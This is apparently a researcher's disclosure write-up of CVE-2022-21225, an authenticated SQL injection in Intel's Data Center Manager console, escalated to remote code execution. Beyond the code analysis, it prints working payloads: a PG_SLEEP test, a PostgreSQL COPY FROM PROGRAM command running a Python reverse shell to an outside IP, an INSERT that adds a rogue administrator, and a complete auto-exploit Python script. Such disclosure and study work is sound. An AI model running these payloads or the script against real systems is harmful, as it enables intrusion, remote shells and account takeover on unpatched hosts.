Introduction
You’ve probably enjoyed my previous post about bypassing Intel DCM’s authentication mechanism to gain unauthorized access. This gave us the lowest possible “Guest” privileges in the DCM console.
The second part will now show you a possible way to get Remote Code Execution on the underlying host by exploiting an authenticated SQL Injection vulnerability, which is reachable from the same “Guest” level. The SQL Injection itself is easy to exploit, but the road to get there was quite bumpy due to several limitations, which needed to be bypassed.
I submitted this bug through Intel’s bug bounty program and was rewarded another $10,000 bounty. Intel assigned CVE-2022-21225 and published their own advisory about it. However, they made the same AV:A mistake again when calculating the CVSS score for this vulnerability, which is why my advisory contains a different score of 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
This exploit targets the vulnerable version 4.0.1.45257 of Intel’s DCM but affects all versions below 4.1. A fix has been introduced, at least in version 5.0.0.46307.
Paths to Exploitation
There are three requirements to reach the vulnerable code path:
- At least one (server) room must be configured in the console. Reaching the vulnerable code path on a fresh install without a room is impossible.
- The server must have passed the 14:30 time mark at least once. So if the server was installed at 14:31, you need to wait another 23 hours and 59 minutes OR trick an admin into following a specific route (more on that in the writeup)
- The vulnerability itself is an authenticated SQL Injection. Authenticated, in this case, means the exploit/request must be supplied with a valid
JSESSIONID
and a validantiCSRFId
. However, even the lowest privileged role
can exploit this SQL injection.guest
Let’s reach the sink
Intel’s DCM Console has a lot of web routes, so let’s first explore where the SQL Injection is located and how to get there. The vulnerable servlet is called com.intel.console.server.servlet.DataAccessServlet, which is mapped to different URL patterns as shown in DCM’s web.xml file:
<servlet> <display-name>DataAccessServlet</display-name> <servlet-name>DataAccessServlet</servlet-name> <servlet-class>com.intel.console.server.servlet.DataAccessServlet</servlet-class> </servlet> [...] <servlet-mapping> <servlet-name>DataAccessServlet</servlet-name> <url-pattern>/DataAccessServlet</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>DataAccessServlet</servlet-name> <url-pattern>/data/*</url-pattern> </servlet-mapping> [...]
The servlet has many operations that can be triggered by adding the
parameter to the query. The vulnerable action is called action
:getRoomRackData
if (context.op.equals("getRoomRackData")) { return getRoomRackData(req, resp); }
So the request to trigger the vulnerable method basically looks like the following:
https://[ip-address]:8643/DcmConsole/DataAccessServlet?action=getRoomRackData
The corresponding method declaration can be found in the com.intel.console.server.servlet.DataAccessServlet class:
private String getRoomRackData(HttpServletRequest req, HttpServletResponse resp) throws IOException, ConsoleException, ConsoleStubException { RackData[] rackDatas; GetRoomRackDataRequestData reqData = null; JobContext context = getJobContext(req); if (context.jobRequest != null) { reqData = (GetRoomRackDataRequestData) context.jobRequest.getRequestObj(); } if (reqData == null) { return errorResponse(resp, context, 0, "request data is empty or in invalid format"); } JobResponse response = new JobResponse(); int snapshotId = reqData.getSnapshotId(); String dataName = reqData.getDataName(); int roomId = reqData.getRoomId(); if (reqData.getSnapshotId() == 0) { rackDatas = DataAccess.getRoomRackData(roomId, dataName); if (reqData.getAnalysisMode() == 2) { ServerPlacementResp result = (ServerPlacementResp) context.session.getAttribute("com.intel.dcm.server_placement"); if (result == null) { return errorResponse(resp, context, 0, "request data is empty or in invalid format"); } LinkedList<ServerPlacement> lastRes = result.getPlacements(); if (lastRes == null) { return errorResponse(resp, context, 0, "request data is empty or in invalid format"); } Iterator<ServerPlacement> it = lastRes.iterator(); while (it.hasNext()) { ServerPlacement sp = it.next(); int length = rackDatas.length; int i = 0; while (true) { if (i < length) { RackData rackData = rackDatas[i]; if (sp.getRackId() == rackData.getId()) { rackData.setCapacity((int) sp.getSpaceCapacity()); rackData.setPowerCapacity((int) sp.getPowerCapacity()); rackData.setWeightCapacity((int) sp.getWeightCapacity()); if (dataName.equalsIgnoreCase("POWER_CAPACITY")) { rackData.setPowerCapPercentage(sp.getPowerCapacityUtil()); } else if (dataName.equalsIgnoreCase("PEAK_POWER_CAPACITY")) { rackData.setPowerPeakPercentage(sp.getPowerCapacityUtil()); } else if (dataName.equalsIgnoreCase("DERATED_POWER_CAPACITY")) { rackData.setPowerDeratedPercentage(sp.getPowerCapacityUtil()); } else if (dataName.equalsIgnoreCase("WEIGHT_CAPACITY")) { rackData.setWeightCapPercentage(sp.getWeightCapacityUtil()); } rackData.setSpaceCapPercentage(sp.getSpaceCapacityUtil()); } else { i++; } } } } } } else { rackDatas = LayoutSnapshotManager.getInstance().getRoomRackData(snapshotId, roomId, dataName); } [...]
The vulnerable code path is located at line 56 when an instance of the LayoutSnapshotManager
class is created. The request needs to be set up with the following parameters:
- A
(line 6) JSON parameterrequestObj
- A
(line 12) JSON parameter within thesnapshotId
requestObj
- A
(line 13) JSON parameter within thedataName
.requestObj
- A
(line 14) JSON parameter within theroomId
requestObj
Notice that all of these parameters are user-controlled, but only one
) has its type set to be a String. This parameter is the one that is later used without any sanitization in a SQL query.(dataName
Now, to reach the vulnerable method call on line 56, it is required to pass the if condition on line 15 and take the else path instead. This means the snapshotId
must be anything other than 0. So setting this to 1 should pass the check and jump right into the vulnerable method:
{"antiCSRFId":"335178097BB201A86B82DDA03C561360","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test"}}
But that’s not yet sufficient as a valid
is required (but more on that later):snapshotId
The getRoomRackData()
method is handled by the class com.intel.console.server.dcModeling.LayoutSnapshotManager:
public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException { ResultSet res; PreparedStatement statement; Connection conn; LinkedList ret = new LinkedList<>(); Integer[] rackIds = getRoomRackIds(snapshotId, roomId); if (rackIds.length == 0) { return new RackData[0]; } StringBuilder sb = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START); for (int i = 0; i < rackIds.length; i++) { if (i > 0) { sb.append(","); } sb.append(rackIds[i]); } sb.append(DefaultExpressionEngine.DEFAULT_INDEX_END); String rackIdsString = sb.toString(); LinkedList propsList = new LinkedList<>(); propsList.add("NAME"); propsList.add("CABINETPDU"); if (rackDataType.equals("POWER_CAPACITY")) { propsList.add("POWER_PERCENTAGE"); } else if (rackDataType.equals("PEAK_POWER_CAPACITY")) { propsList.add("PEAK_POWER_PERCENTAGE"); } else if (rackDataType.equals("DERATED_POWER_CAPACITY")) { propsList.add("DERATED_POWER_PERCENTAGE"); } else if (rackDataType.equals("SPACE_CAPACITY")) { propsList.add("SPACE_PERCENTAGE"); } else if (rackDataType.equals("WEIGHT_CAPACITY")) { propsList.add("WEIGHT_PERCENTAGE"); } else { propsList.add("CAPACITY"); propsList.add("POWERCAPACITY"); propsList.add("WEIGHTCAPACITY"); propsList.add("IT_EQUIPMENT_PWR"); propsList.add(rackDataType); } StringBuilder sb2 = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START); for (int i2 = 0; i2 < propsList.size(); i2++) { if (i2 > 0) { sb2.append(","); } sb2.append(OperatorName.SHOW_TEXT_LINE); sb2.append(propsList.get(i2)); sb2.append(OperatorName.SHOW_TEXT_LINE); } try { sb2.append(DefaultExpressionEngine.DEFAULT_INDEX_END); String propsString = sb2.toString(); conn = ConnectionProvider.getConnection(); statement = null; res = null; try { statement = conn.prepareStatement("select entity_id, property_name, property_value from\"T_Entity_Snapshot\" where snapshot_id=? and entity_id in " + rackIdsString + " and property_name in " + propsString + " order by entity_id"); statement.setInt(1, snapshotId); int lastId = -1; RackData rackData = null; res = statement.executeQuery(); [...]
It is required to pass the check at line 7 to reach the SQL query on line 55. For this to happen, it is necessary to have at least one room configured and one snapshot present (line 6). When passed successfully, the previously mentioned user-controlled dataName
parameter (which is passed to this function as the rackDataType
string) is added without sanitization into the propsList
(line 37), respectively, the sb2
StringBuilder instance (line 45). sb2
is then cast to a String (line 50) and concatenated into a prepared statement (line 55). This is, by the way, an excellent example of how not to use prepared statements ;-).
However, on a fresh installation of the DCM, the snapshot table is empty, which means we won’t be able to reach the vulnerable SQL query by not passing the if condition from line 7:
Let’s Take A snapshot(Id)
So to reach the vulnerable SQL query, we need a “snapshot”, which is defined through a
. There are essentially two ways to get one:snapshotId
First option: Via the web route /V1/goto
taken from web.xml:
<filter> <display-name>RedirectFilter</display-name> <filter-name>RedirectFilter</filter-name> <filter-class>com.intel.console.server.login.RedirectFilter</filter-class> </filter> <filter-mapping> <filter-name>RedirectFilter</filter-name> <url-pattern>/V1/goto</url-pattern> </filter-mapping>
This route is handled by the class
:com.intel.console.server.login.RedirectFilter
private static final Pattern entityPattern = Pattern.compile("entityid=(\\d+)"); @Override // javax.servlet.Filter public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { int index; HttpServletRequest httpRequest = (HttpServletRequest) request; HttpServletResponse httpResponse = (HttpServletResponse) response; String param = httpRequest.getQueryString(); if (param != null) { HttpSession session = httpRequest.getSession(); String param2 = param.toLowerCase(); Matcher m = entityPattern.matcher(param2); if (m.matches()) { int entityId = Integer.valueOf(m.group(1)).intValue(); try { IdName[] path = DcModel.getEntityPath(entityId); String res = entityId + ","; for (int i = 0; i < path.length; i++) { if (i != 0) { res = res + "_"; } res = res + path[i].getId(); } sessionPathMap.put(session.getId(), res); } catch (Exception e) { sessionPathMap.put(session.getId(), "0"); } } else if ((param2.equals("takesnapshot") || param2.equals("tss")) && UserMgmtHandler.isAdminOrPowerUser(httpRequest)) { LayoutSnapshotManager.getInstance().takeSnapshot(); } } String url = httpRequest.getRequestURI().replace("?", ""); if (!(url == null || (index = url.indexOf("goto")) == -1)) { httpResponse.sendRedirect(url.substring(0, index)); } }
To get a snapshot, it’s required to reach line 29, which calls the
method. To get there, you need to:takeSnapshot()
- Pass the check on line 9 by simply adding an HTTP parameter
- NOT include an
entityid
(line 13) - Have an empty
takesnapshot
ortss
query parameter (line 28), and the user to do so must either have the roledcm_admin
ordcm_poweruser
.
So this means an attacker needs to trick an admin or power user at least once to visit the following URL:
https://[ip-address]:8643/DcmConsole/V1/goto?takesnapshot
This will create the desired snapshot:
However, hackers don’t like to trick users, so there must be a much easier way, right? Luckily, the com.intel.console.server.dcModeling.LayoutSnapshotManager class shows us another interesting route by defining a
, which, also calls the SnapshotTimerTask
takeSnapshot()
method (line 7):
public class SnapshotTimerTask extends TimerTask { SnapshotTimerTask() { } @Override // java.util.TimerTask, java.lang.Runnable public void run() { LayoutSnapshotManager.this.takeSnapshot(); try { LayoutSnapshotManager.this.cleanExpiredSnapshots(); } catch (ConsoleDbException e) { AppLogger.warn("cleanExpiredSnapshots return exception:" + e.getMessage()); } } }
The task is declared as follows:
public synchronized void init() { int minute; int hour; String snapshotTime = Configuration.getProperty("SNAPSHOT_TIME"); int splitPos = snapshotTime.indexOf(":"); try { } catch (NumberFormatException e) { AppLogger.warn("Invalid snapshot time configuration:" + snapshotTime + ". Default time will be used."); hour = 14; minute = 30; } if (splitPos > 0) { hour = Integer.parseInt(snapshotTime.substring(0, splitPos)); minute = Integer.parseInt(snapshotTime.substring(splitPos + 1, snapshotTime.length())); if (hour < 0 || hour >= 24 || minute < 0 || minute >= 60) { throw new NumberFormatException("invalid format"); } Date now = new Date(); Calendar executionTime = Calendar.getInstance(); executionTime.set(11, hour); executionTime.set(12, minute); executionTime.set(13, 0); executionTime.set(14, 0); if (executionTime.getTime().before(now)) { executionTime.add(6, 1); } if (this.snapshotTimer == null) { this.snapshotTimer = new Timer("take_snapshot_timer"); this.timerTask = new SnapshotTimerTask(); } this.snapshotTimer.scheduleAtFixedRate(this.timerTask, executionTime.getTimeInMillis() - now.getTime(), 86400000); return; } throw new NumberFormatException("invalid format"); }
The task first tries to read the property SNAPSHOT_TIME
from the console.config.xml configuration file (line 4). However, this setting is not present in a default installation of Intel’s DCM across Windows and Linux. This means that the task automatically sets hour
to 14 and minute
to 30 (lines 9-10 and 20-21), which ultimately results in an automatic task execution every day at
:14:30
So all an attacker has to do is: wait for the 14:30 mark to be passed once.
Fetching the roomId and snapshotId Values
In order to make the getRoomRackIds()
(line 6) return a non-empty integer array, a valid roomId
is also required:
public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException { ResultSet res; PreparedStatement statement; Connection conn; LinkedList ret = new LinkedList<>(); Integer[] rackIds = getRoomRackIds(snapshotId, roomId); if (rackIds.length == 0) { return new RackData[0]; }
This can be fetched using a request against the route at /DcmConsole/rest/rooms:
The snapshotId
can be retrieved using the route /DcmConsole/DcModelServlet?action=getAllSnapshots:
Exploiting the SQL Injection to Gain Remote Code Execution
Using the previously gathered values for the
, it’s now possible to pass the if check (line 7) and construct a SQL Injection payload in the roomId and snapshotId
dataName
parameter. Since DCM uses PostgreSQL a simple PG_SLEEP
command can confirm the injection:
{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');SELECT PG_SLEEP(5)--"}}
This results in a database sleep of 5 seconds:
By abusing PostgreSQL’s stacked query functionality, it’s now also possible to use the native
command to execute arbitrary commands. First, it’s required to create a temporary table using the following payload:COPY
{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');CREATE TABLE cmd_exec(cmd_output text);--"}}
Followed by a nice reverse shell payload:
{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');COPY cmd_exec FROM PROGRAM 'python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.95\",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")''';--"}}
Which finally gets you a shell…
…or even a more dangerous calc.exe:
Bonus Point
In case RCEs are too lame for you, here’s another payload:
');insert into \"T_User\" values (5, 'mrtux','mrtux','d5cfdec3d4df48675960f62846228683e5f4c0d9201aeaedf81a7070b971be2f','CIXnGd3e6leBaN7IQYlpdJ69pMB9KiNz5rCBomG70ouJkLfYFziuRoey8LFwvi1HFNZhuV0L1lKEky93DZ88UhM+oTwinG7UrRPsDIt0Rrc=','hacked',0,null,null,0,0,0,null);--
To add a new administrator to Intel’s DCM:
Let’s Auto-Pwn it
Here’s a full Python script to auto-exploit this issue, given the attacker has at least Guest-level access to Intel’s DCM:
import hashlib import json import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if __name__ == '__main__': ### FILL IN ### target = "https://127.0.0.1:8643" username = "guest" password = "Password0" # PUT single quotes into double-single-quotes to escape them # linux shell command = "python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.27:1337\"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")''" # windows calc.exe #command = "powershell.exe Start-Process -FilePath \"c:\\Windows\\System32\\calc.exe\"" ### DO NOT EDIT BELOW HERE ### # Get a valid roomId first print("Fetching a valid roomId: ", end="") url = target + "/DcmConsole/rest/rooms" headers = { "dcmUserName": username, "dcmUserPassword": password, "dcmAccountType": "0" } r = requests.get(url, headers=headers, verify=False) response = json.loads(r.content) roomId = response['content'][0]['id'] print(str(roomId)) # Get a valid snapshotId url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots" # Let's convert the password to be able to auth to the app and get the JSESSIONID and the antiCSRFId pwd_sha1 = hashlib.sha1(password.encode()).hexdigest() pwd_sha256 = (hashlib.sha256(pwd_sha1.encode()).hexdigest()) url = target+"/DcmConsole/login/login" json_body = { "antiCSRFId": None, "requestObj": { "name": username, "password": pwd_sha256, "type":0 } } print("Fetching a valid antiCSRFId: ", end="") r = requests.post(url, verify=False, json=json_body) response = json.loads(r.content.decode()) antiCSRFId = response['responseObj']['sessionId'] print(str(antiCSRFId)) for item in r.cookies.items(): jsessionid = item[1] # Let's create the cookies cookies = dict(JSESSIONID=jsessionid) # Get a valid snapshotId print("Searching for a valid snapshotId: ", end="") url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots" json_body = { "antiCSRFId":antiCSRFId, "requestObj":{ "id": -1 } } r = requests.post(url, verify=False, json=json_body, cookies=cookies) response = json.loads(r.content.decode()) snapshotIds = response['responseObj'] #[0]['snapshotId'] for snapshotId in snapshotIds: # test whether the snapshotId is bound to an actual room (aka the room must have existed before the snapshot creation) url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData" json_body = { "antiCSRFId": antiCSRFId, "requestObj": { "snapshotId": snapshotId['snapshotId'], "roomId": roomId, "dataName": "test" } } r = requests.post(url, verify=False, json=json_body, cookies=cookies) responseObj = json.loads(r.content)['responseObj'] # Only proceed if the responseObj is not empty: if responseObj: snapshotId = snapshotId['snapshotId'] print(str(snapshotId)) break # Test if the target is vulnerable using PG_SLEEP url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData" json_body = { "antiCSRFId": antiCSRFId, "requestObj": { "snapshotId": snapshotId, "roomId": roomId, "dataName": "test');SELECT PG_SLEEP(5)--" } } print("Testing basic SQL-Injection using PG_SLEEP: ", end="") r = requests.post(url, verify=False, json=json_body, cookies=cookies) if r.elapsed.total_seconds() > 4.5: print("Target " + target + " is vulnerable") json_body = { "antiCSRFId": antiCSRFId, "requestObj": { "snapshotId": snapshotId, "roomId": roomId, "dataName": "test');CREATE TABLE cmd_exec(cmd_output text);--" } } r = requests.post(url, verify=False, json=json_body, cookies=cookies) if r.status_code == 200: print("Successfully injected cmd_exec table") json_body = { "antiCSRFId": antiCSRFId, "requestObj": { "snapshotId": snapshotId, "roomId": roomId, "dataName": "test');COPY cmd_exec FROM PROGRAM '" + command +"';--" } } print("Triggering command!") r = requests.post(url, verify=False, json=json_body, cookies=cookies) else: print("Target " + target + " doesn't look vulnerable")